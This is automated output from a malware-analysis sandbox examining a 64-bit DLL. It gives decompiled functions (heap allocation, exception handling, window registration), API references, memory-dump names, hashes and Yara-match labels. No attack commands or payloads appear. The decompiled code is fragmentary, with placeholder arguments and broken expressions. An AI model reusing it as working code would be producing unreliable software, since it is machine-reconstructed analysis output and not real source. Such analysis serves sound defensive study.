				return _v24 & 0x000000ff;
			}

0x7ffe354e22b0
0x7ffe354e22b0
0x7ffe354e22b5
0x7ffe354e22ba
0x7ffe354e22c8
0x7ffe354e22d2
0x7ffe354e22d9
0x7ffe354e22e3
0x7ffe354e22f0
0x7ffe354e22f7
0x7ffe354e2309
0x7ffe354e230e
0x7ffe354e2317
0x7ffe354e231f
0x7ffe354e2326
0x7ffe354e2333
0x7ffe354e2335
0x7ffe354e233a
0x7ffe354e233f
0x7ffe354e2346
0x7ffe354e234e
0x7ffe354e235f
0x7ffe354e2364
0x7ffe354e236c
0x7ffe354e2375
0x7ffe354e2380
0x7ffe354e2382
0x7ffe354e238a
0x7ffe354e238c
0x7ffe354e239d

APIs

Part of subcall function 00007FFE354E2830: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E283E
Part of subcall function 00007FFE354E2830: Concurrency::details::SchedulerBase::ThrottlerDispatchBridge.LIBCMTD ref: 00007FFE354E284B

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E22D9

Part of subcall function 00007FFE354E2170: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E217E

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::$EmptyQueue::StructuredWork$Base::BridgeDispatchMtx_guardMtx_guard::~_SchedulerThrottler
String ID:
API String ID: 1903167320-0
Opcode ID: 8412a15bbd2f4d89551e98d62f984fcb6a76ab0910fb464f93224fef732d8c49
Instruction ID: ed215398b3dd74d896f0e635ec788b934bc2bdb3a5cb71862346e09ea5bba6f7
Opcode Fuzzy Hash: 8412a15bbd2f4d89551e98d62f984fcb6a76ab0910fb464f93224fef732d8c49
Instruction Fuzzy Hash: 5621BC3290CB4381DA249B25E45436EAB60FBC6F84F710535E78E477B9CE6DD940AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EAAD0 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354EAAD0(void* __eax, signed int __rcx, signed int __rdx) {
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0x354eaaef;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0x354eab32;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0x354eab16;
				if (E00007FFE7FFE354EE958() == 0) goto 0x354eab32;
				if (E00007FFE7FFE354E97EC(_t22,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0x354eab32;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0x354eab01;
				goto 0x354eab3f;
				E00007FFE7FFE354EB420(_t22);
				 *_t22 = 0xc;
				return 0;
			}

0x7ffe354eaad0
0x7ffe354eaadf
0x7ffe354eaae3
0x7ffe354eaae3
0x7ffe354eaaed
0x7ffe354eaafb
0x7ffe354eaaff
0x7ffe354eab08
0x7ffe354eab14
0x7ffe354eab25
0x7ffe354eab2e
0x7ffe354eab30
0x7ffe354eab32
0x7ffe354eab37
0x7ffe354eab44

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FFE354EBAAE,?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000), ref: 00007FFE354EAB25

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 280286a628102559a8464dffd4b609b20cb420f0fe1f18d1be992a8bc7a4b5f6
Instruction ID: 1f2e27171f744f076f7cbe9faa07103f65e564dfdd04d3a42eaf3e6130f02e01
Opcode Fuzzy Hash: 280286a628102559a8464dffd4b609b20cb420f0fe1f18d1be992a8bc7a4b5f6
Instruction Fuzzy Hash: 9DF06D64B0A30785FE5C5B62945D2B50A965FD4F40F6E4430CE0F863F2ED6CE889A310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EAA18 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354EAA18(intOrPtr* __rax, void* __rcx) {

				if (__rcx - 0xffffffe0 > 0) goto 0x354eaa63;
				_t16 =  ==  ? __rax : __rcx;
				goto 0x354eaa4a;
				if (E00007FFE7FFE354EE958() == 0) goto 0x354eaa63;
				if (E00007FFE7FFE354E97EC(__rax,  ==  ? __rax : __rcx) == 0) goto 0x354eaa63;
				RtlAllocateHeap(??, ??, ??); // executed
				if (__rax == 0) goto 0x354eaa35;
				goto 0x354eaa70;
				E00007FFE7FFE354EB420(__rax);
				 *__rax = 0xc;
				return 0;
			}

0x7ffe354eaa25
0x7ffe354eaa2f
0x7ffe354eaa33
0x7ffe354eaa3c
0x7ffe354eaa48
0x7ffe354eaa56
0x7ffe354eaa5f
0x7ffe354eaa61
0x7ffe354eaa63
0x7ffe354eaa68
0x7ffe354eaa75

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FFE354F040D,?,?,00000000,00007FFE354ED8B7,?,?,?,00007FFE354EA427,?,?,?,00007FFE354EA31D), ref: 00007FFE354EAA56

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4885db743ff87431de90f68300da65782b6b7874996cc61f6450c8fa48a4abb9
Instruction ID: 4be81d47e3385369e75cf6352c6d7898672cfea55a1a7851bddcc45530109139
Opcode Fuzzy Hash: 4885db743ff87431de90f68300da65782b6b7874996cc61f6450c8fa48a4abb9
Instruction Fuzzy Hash: E5F05821E0E30745FE686A625A4E27529904FC4FA0F2E0A30DC2F863E1DE2CA4417760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1B10 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00007FFE7FFE354E1B10(void* __rax, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _t7;
				void* _t8;

				_t8 = __rax;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E11A0(_a16);
				_t7 = E00007FFE7FFE354E1B40(_t8, _a8, _a16, _t8); // executed
				return _t7;
			}

0x7ffe354e1b10
0x7ffe354e1b10
0x7ffe354e1b15
0x7ffe354e1b23
0x7ffe354e1b35
0x7ffe354e1b3e

APIs

char_traits.LIBCPMTD ref: 00007FFE354E1B23

Part of subcall function 00007FFE354E1B40: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1B6E

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traits
String ID:
API String ID: 1444011685-0
Opcode ID: f789d12e206d7980509269e3e814af15646fd7b4fc038a1338794e0a1668acec
Instruction ID: 743aea2590834c0a26b37cf7a8a23559460dae9aaaf7c67c05a3c85e2c2fe60b
Opcode Fuzzy Hash: f789d12e206d7980509269e3e814af15646fd7b4fc038a1338794e0a1668acec
Instruction Fuzzy Hash: 7DD09E76D29BC181D544EB12F89505EEB60EBC8FC0F506435FA8F42B2ADE28C5514B00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFE354F3CB0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 97registrywindowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FFE354F3D39
RegisterTouchWindow.USER32 ref: 00007FFE354F3D5A
MessageBoxW.USER32 ref: 00007FFE354F3D7A

Strings

Error, xrefs: 00007FFE354F3D67
Cannot register application window for multi-touch input, xrefs: 00007FFE354F3D6E

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Window$CreateMessageRegisterTouch
String ID: Cannot register application window for multi-touch input$Error
API String ID: 490141109-480840240
Opcode ID: 84ab5ff6cfcc38e4e1d3a2e7420c273c9b72630a33a8e8b258941c1555e1b344
Instruction ID: be6d9fccacd186f94be69f9e10bf61d8890677e89408783e2dbf6c79c2383aa5
Opcode Fuzzy Hash: 84ab5ff6cfcc38e4e1d3a2e7420c273c9b72630a33a8e8b258941c1555e1b344
Instruction Fuzzy Hash: 38512879A08B4396E7648B15E84836A7BA0FF84F94F514536DA8E43774EF7CE044E740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003BE8 Relevance: 10.9, Strings: 8, Instructions: 895COMMON

Download Yara Rule

Strings

]I, xrefs: 0000000180003E1A
KI@l, xrefs: 00000001800040D8
~JO, xrefs: 0000000180003CC5
%wk, xrefs: 0000000180004571
Hp, xrefs: 00000001800040E6
@, xrefs: 0000000180003F3F
K, xrefs: 00000001800043B5
^e?u, xrefs: 0000000180003EAF

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: %wk$@$Hp$KI@l$]I$^e?u$~JO$K
API String ID: 0-1942796489
Opcode ID: 0db96a3033a52dec7f41ba08dcaea74adbed8d76393b2956a65234561adab349
Instruction ID: e1c3b1e3eb44e9ced759bc87f3cac7b1a040f97d798b52c0718f9fedf429efa7
Opcode Fuzzy Hash: 0db96a3033a52dec7f41ba08dcaea74adbed8d76393b2956a65234561adab349
Instruction Fuzzy Hash: 71A2F871504B8C8FEB59CF28C88A59E7BE2FB84744F20461DF96A872A0D774D945CF82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012780 Relevance: 9.3, Strings: 7, Instructions: 537COMMON

Download Yara Rule

Strings

o7=/, xrefs: 0000000180012D35
k, xrefs: 000000018001303C
D, xrefs: 0000000180012E27
y, xrefs: 0000000180012C97
Z<, xrefs: 0000000180012E02
7', xrefs: 0000000180012DC7
G(, xrefs: 0000000180012F52

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: k$7'$D$G($Z<$o7=/$y
API String ID: 0-1865188920
Opcode ID: d517ad9a530fb802bb13479e859ccf9692cae92b90ad32258a35f0c9934de413
Instruction ID: fda8176045f72ddac869dc68b56e77e08c564191d5b4e17a01401cd0e62d40de
Opcode Fuzzy Hash: d517ad9a530fb802bb13479e859ccf9692cae92b90ad32258a35f0c9934de413
Instruction Fuzzy Hash: 2032E17150C7848FD798CFA9C58A65BFBE1FB88744F108A1DF486862A0D7F8D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E9474 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FFE7FFE354E9474(void* __ecx, intOrPtr __edx, void* __esp, long long __rbx, void* __rdx, long long __rsi, void* __r8) {
				void* __rdi;
				void* _t36;
				int _t40;
				void* _t45;
				intOrPtr _t53;
				signed long long _t63;
				long long _t66;
				_Unknown_base(*)()* _t86;
				void* _t90;
				void* _t91;
				void* _t93;
				signed long long _t94;
				struct _EXCEPTION_POINTERS* _t100;

				_t46 = __ecx;
				 *((long long*)(_t93 + 0x10)) = __rbx;
				 *((long long*)(_t93 + 0x18)) = __rsi;
				_t91 = _t93 - 0x4f0;
				_t94 = _t93 - 0x5f0;
				_t63 =  *0x3555e008; // 0x393f49ce3de2
				 *(_t91 + 0x4e0) = _t63 ^ _t94;
				_t53 = r8d;
				_t45 = __ecx;
				if (__ecx == 0xffffffff) goto 0x354e94b3;
				E00007FFE7FFE354E493C(_t36);
				r8d = 0x98;
				E00007FFE7FFE354E6920(__ecx, 0, _t53, __esp, _t94 + 0x70, __rdx, _t86, __r8);
				r8d = 0x4d0;
				E00007FFE7FFE354E6920(_t46, 0, _t53, __esp, _t91 + 0x10, __rdx, _t86, __r8);
				 *((long long*)(_t94 + 0x48)) = _t94 + 0x70;
				_t66 = _t91 + 0x10;
				 *((long long*)(_t94 + 0x50)) = _t66;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t66 == 0) goto 0x354e9546;
				 *(_t94 + 0x38) =  *(_t94 + 0x38) & 0x00000000;
				 *((long long*)(_t94 + 0x30)) = _t94 + 0x58;
				 *((long long*)(_t94 + 0x28)) = _t94 + 0x60;
				 *((long long*)(_t94 + 0x20)) = _t91 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t91 + 0x108)) =  *((intOrPtr*)(_t91 + 0x508));
				 *((intOrPtr*)(_t94 + 0x70)) = __edx;
				 *((long long*)(_t91 + 0xa8)) = _t91 + 0x510;
				 *((long long*)(_t91 - 0x80)) =  *((intOrPtr*)(_t91 + 0x508));
				 *((intOrPtr*)(_t94 + 0x74)) = _t53;
				_t40 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t86, _t90);
				if (UnhandledExceptionFilter(_t100) != 0) goto 0x354e95a8;
				if (_t40 != 0) goto 0x354e95a8;
				if (_t45 == 0xffffffff) goto 0x354e95a8;
				return E00007FFE7FFE354E3A70(E00007FFE7FFE354E493C(_t42), _t45, 0,  *(_t91 + 0x4e0) ^ _t94);
			}

0x7ffe354e9474
0x7ffe354e9474
0x7ffe354e9479
0x7ffe354e9482
0x7ffe354e948a
0x7ffe354e9491
0x7ffe354e949b
0x7ffe354e94a2
0x7ffe354e94a7
0x7ffe354e94ac
0x7ffe354e94ae
0x7ffe354e94ba
0x7ffe354e94c0
0x7ffe354e94cb
0x7ffe354e94d1
0x7ffe354e94db
0x7ffe354e94e4
0x7ffe354e94e8
0x7ffe354e94ed
0x7ffe354e9502
0x7ffe354e9505
0x7ffe354e950e
0x7ffe354e9510
0x7ffe354e9523
0x7ffe354e9530
0x7ffe354e9539
0x7ffe354e9540
0x7ffe354e954d
0x7ffe354e955f
0x7ffe354e9563
0x7ffe354e9571
0x7ffe354e9575
0x7ffe354e9579
0x7ffe354e9583
0x7ffe354e9596
0x7ffe354e959a
0x7ffe354e959f
0x7ffe354e95ce

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFE354E94ED
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE354E9505
RtlVirtualUnwind.KERNEL32 ref: 00007FFE354E9540
IsDebuggerPresent.KERNEL32 ref: 00007FFE354E9579
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE354E9583
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE354E958E

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d9a81825362c2da034dc73a6dcc45eb26ccc4f6f61a283cd1a377bdfab111a7c
Instruction ID: 9b4db1bad81fef64437d8c6f91741ffee040a1d637c924f740bcc8895aca831f
Opcode Fuzzy Hash: d9a81825362c2da034dc73a6dcc45eb26ccc4f6f61a283cd1a377bdfab111a7c
Instruction Fuzzy Hash: 97316136608B8296DB64CF25E8442AE7BA0FB84F54F500135EA9E43BA4DF3CD2458B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021A2C Relevance: 7.0, Strings: 5, Instructions: 775COMMON

Download Yara Rule

Strings

F, xrefs: 0000000180022101
J, xrefs: 0000000180022998
>#3, xrefs: 00000001800226F2
Aw, xrefs: 00000001800223B5
??, xrefs: 0000000180021F2D

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: >#3$??$Aw$F$J
API String ID: 0-2784440385
Opcode ID: 9b37fcd8b9b3a2236a01d1c259a381c152bbfd2ce75b9ee2bc70d5e09618c5cf
Instruction ID: 9fdd82093245732d6ff01b86e1d36ab714c40b68dc6afb612ae034bafb5e4a55
Opcode Fuzzy Hash: 9b37fcd8b9b3a2236a01d1c259a381c152bbfd2ce75b9ee2bc70d5e09618c5cf
Instruction Fuzzy Hash: C9924F7054838B8FDB78CF24C845BEE7BE1FB84304F10452DE8698A761E7749A49DB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B5C Relevance: 6.6, Strings: 5, Instructions: 375COMMON

Download Yara Rule

Strings

$, xrefs: 0000000180007041
<, xrefs: 0000000180007028
@K, xrefs: 0000000180006E7C
9`^p, xrefs: 0000000180006F9F
>S1, xrefs: 0000000180006C51

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: $$9`^p$>S1$@K$<
API String ID: 0-904861090
Opcode ID: 7e13130689c942aa12df05012069a4264cc12f2cb0cc79f599492960cab10520
Instruction ID: d0ca11fee3017775904e89b4535bcf8825016c76ce67da6f48249d0445d1abfd
Opcode Fuzzy Hash: 7e13130689c942aa12df05012069a4264cc12f2cb0cc79f599492960cab10520
Instruction Fuzzy Hash: BC12E37150078CDBDBACCF68C88A6DD3FB1FB443A4F605219F942962A0D7B5D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014C48 Relevance: 6.5, Strings: 5, Instructions: 236COMMON

Download Yara Rule

Strings

"4, xrefs: 0000000180014F27
f_, xrefs: 0000000180014F12
fzT, xrefs: 0000000180014CEF
, xrefs: 0000000180014DEE, 0000000180014CE7, 0000000180014D11
, xrefs: 0000000180014E7F, 0000000180014EDA

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: "4$f_$fzT$$
API String ID: 0-2251851231
Opcode ID: 22d9a0b68b50d0ea5fd6d1aeab0a3e2fc9a27e070a6cf0ea182e7b607f92900b
Instruction ID: 00078a186b7d7b6ae4f12e3c11a5bc13b18b9b2cdced29765063d95cb29d2c11
Opcode Fuzzy Hash: 22d9a0b68b50d0ea5fd6d1aeab0a3e2fc9a27e070a6cf0ea182e7b607f92900b
Instruction Fuzzy Hash: 42B123B090470A8FDB48DFA8C48A5EEBBF0FB48358F15461DE806A7290D774AA45CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CF30 Relevance: 6.3, Strings: 5, Instructions: 69COMMON

Download Yara Rule

Strings

\, xrefs: 000000018001CFD2
eI$E, xrefs: 000000018001CFB1
8, xrefs: 000000018001D04E
[n, xrefs: 000000018001CF40
CX, xrefs: 000000018001CF47

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: CX$[n$\$eI$E$8
API String ID: 0-2019653245
Opcode ID: b58e03c4429f51dfff5bc7e79067d6589c1b082eef975631b4c3cbf620760393
Instruction ID: b0bde2b46dd9974091b147c1be75073ae13835eaf58c76366964caef907b3f92
Opcode Fuzzy Hash: b58e03c4429f51dfff5bc7e79067d6589c1b082eef975631b4c3cbf620760393
Instruction Fuzzy Hash: 4E318EB190074E8FDB44CF64C48A5CE7FB0FB68798F204618E859A6250D3B896A4CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E76C Relevance: 5.7, Strings: 4, Instructions: 737COMMON

Download Yara Rule

Strings

, xrefs: 000000018001E7AD
, xrefs: 000000018001EC4C
$, xrefs: 000000018001F2F7
|nV, xrefs: 000000018001E94F

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: $ $$$|nV
API String ID: 0-3281042611
Opcode ID: a7c4594aceaea0e8dab67c6b4234a17b84941429c25f26251dab7e9d55dda18c
Instruction ID: 0fceca5626e055d2fbf750ad096c81a0ae15a929736b2a3d881e47323bd06dff
Opcode Fuzzy Hash: a7c4594aceaea0e8dab67c6b4234a17b84941429c25f26251dab7e9d55dda18c
Instruction Fuzzy Hash: DA72FA71A0474C8BDF58CFA8C04AADDBBF5FB54344F00412DED4AAB298D7B4A91ACB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F3E0 Relevance: 5.4, Strings: 4, Instructions: 432COMMON

Download Yara Rule

Strings

VG, xrefs: 000000018000F95D
]>S, xrefs: 000000018000FBA2
u`, xrefs: 000000018000FCE6
R7i, xrefs: 000000018000FA02

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: R7i$VG$]>S$u`
API String ID: 0-1600827667
Opcode ID: 32acbc697c5eb7ce2dca7a46b63a12961e990b109133ed3221841dcaa14a51a8
Instruction ID: e69c950c419dafbc2894b984fb63416e0ad2d3a581be44541dc433b6a47a3fb9
Opcode Fuzzy Hash: 32acbc697c5eb7ce2dca7a46b63a12961e990b109133ed3221841dcaa14a51a8
Instruction Fuzzy Hash: DC32F1709097C88BDBF8DF24C8897DD7BE0FF48344F50515A984E9A694CBB86689CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800173F8 Relevance: 5.4, Strings: 4, Instructions: 380COMMON

Download Yara Rule

Strings

BB, xrefs: 000000018001788F
., xrefs: 0000000180017964
4, xrefs: 00000001800179BA
z<, xrefs: 00000001800176EB

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: BB$z<$.$4
API String ID: 0-1591233792
Opcode ID: aa7d0a4ee19aefbaa19c8d8e8495d0b927018643d7d53871069b311c10225edc
Instruction ID: f44964999cc3d50e9f587f9f9c8efa5a6e46c46b2493dcde8a40a3edfa6d90f8
Opcode Fuzzy Hash: aa7d0a4ee19aefbaa19c8d8e8495d0b927018643d7d53871069b311c10225edc
Instruction Fuzzy Hash: 3302047190474DCBDF6CDF68C88A6EE7BB0FF48344F00421DEA46A6290D77A9949CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002128 Relevance: 5.3, Strings: 4, Instructions: 256COMMON

Download Yara Rule

Strings

jP, xrefs: 000000018000214C
xy, xrefs: 0000000180002465
M[, xrefs: 00000001800023F9
Jx, xrefs: 00000001800022B1

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Jx$M[$jP$xy
API String ID: 0-882801676
Opcode ID: a27b4655e249ce8e00af1ad73db02211fa2bbf7353868e6a6b849cd1b884cbbc
Instruction ID: 58f3606e86ff435d226b8bd8aedcb6a7b303468577bfe9f696ea944d9a70988a
Opcode Fuzzy Hash: a27b4655e249ce8e00af1ad73db02211fa2bbf7353868e6a6b849cd1b884cbbc
Instruction Fuzzy Hash: DBC1087090475CCBDF59DF68D8896DDBBB0FB48308F118219F89AAB2A1CB789905CF45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001827C Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

^, xrefs: 00000001800183F5
&, xrefs: 00000001800184B7
@2, xrefs: 0000000180018500
Jn, xrefs: 0000000180018469

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: &$@2$Jn$^
API String ID: 0-1816242221
Opcode ID: 569fa3d4bf83859d4808d779e504945ae089fbdc48947470bf052a87739f6000
Instruction ID: b42d7ccd07b59f248f07516313cf01464c8448466868081e17338bda4afdc4d1
Opcode Fuzzy Hash: 569fa3d4bf83859d4808d779e504945ae089fbdc48947470bf052a87739f6000
